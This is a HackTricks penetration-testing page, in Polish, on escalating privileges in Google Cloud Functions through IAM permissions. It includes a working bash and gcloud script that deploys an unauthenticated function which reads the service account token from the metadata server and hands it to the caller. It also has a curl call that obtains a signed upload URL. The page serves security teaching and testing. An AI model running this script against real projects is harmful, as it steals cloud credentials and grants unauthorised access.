GCP - Cloudfunctions Privesc

Support HackTricks

cloudfunctions

Więcej informacji o Cloud Functions:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Atakujący z tymi uprawnieniami może utworzyć nową Cloud Function z dowolnym (złośliwym) kodem i przypisać jej konto usługi. Następnie, wyciek tokena konta usługi z metadanych pozwala na eskalację uprawnień do niego. Możliwe, że będą wymagane pewne uprawnienia do wywołania funkcji.

Skrypty exploitacyjne dla tej metody można znaleźć tutaj i tutaj, a gotowy plik .zip można znaleźć tutaj.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Atakujący z tymi uprawnieniami może zmodyfikować kod funkcji, a nawet zmienić przypisane konto usługi w celu wyeksfiltrowania tokena.

Aby wdrożyć funkcje chmurowe, będziesz również potrzebować uprawnień actAs dla domyślnego konta usługi obliczeniowej lub dla konta usługi używanego do budowy obrazu.

Niektóre dodatkowe uprawnienia, takie jak uprawnienie .call dla wersji 1 cloudfunctions lub rola role/run.invoker do wywołania funkcji mogą być wymagane.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Jeśli otrzymasz błąd Permission 'run.services.setIamPolicy' denied on resource..., to dlatego, że używasz parametru --allow-unauthenticated i nie masz wystarczających uprawnień do tego.

Skrypt exploitujący dla tej metody można znaleźć tutaj.

cloudfunctions.functions.sourceCodeSet

Dzięki temu uprawnieniu możesz uzyskać podpisany URL, aby móc przesłać plik do koszyka funkcji (ale kod funkcji nie zostanie zmieniony, nadal musisz go zaktualizować)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Nie jestem pewien, jak przydatne jest tylko to uprawnienie z perspektywy atakującego, ale dobrze wiedzieć.

cloudfunctions.functions.setIamPolicy, iam.serviceAccounts.actAs

Daj sobie dowolne z wcześniejszych .update lub .create uprawnień, aby eskalować.

cloudfunctions.functions.update

Mając tylko uprawnienia cloudfunctions, bez iam.serviceAccounts.actAs, nie będziesz w stanie zaktualizować funkcji, WIĘC TO NIE JEST WAŻNA ESCALACJA.

Uprawnienia do zapisu w koszyku

Możesz pomyśleć, że atakujący z uprawnieniami do zapisu w koszyku, w którym przechowywany jest kod Cloud Functions, będzie mógł zmodyfikować kod, nadpisując function_code.zip, a następnie sprawić, że funkcja wykona dowolny kod.

Jednak to nieprawda, po prostu nadpisanie kodu w koszyku nie zmodyfikuje kodu, który jest wykonywany.

Referencje

Wsparcie HackTricks

Last updated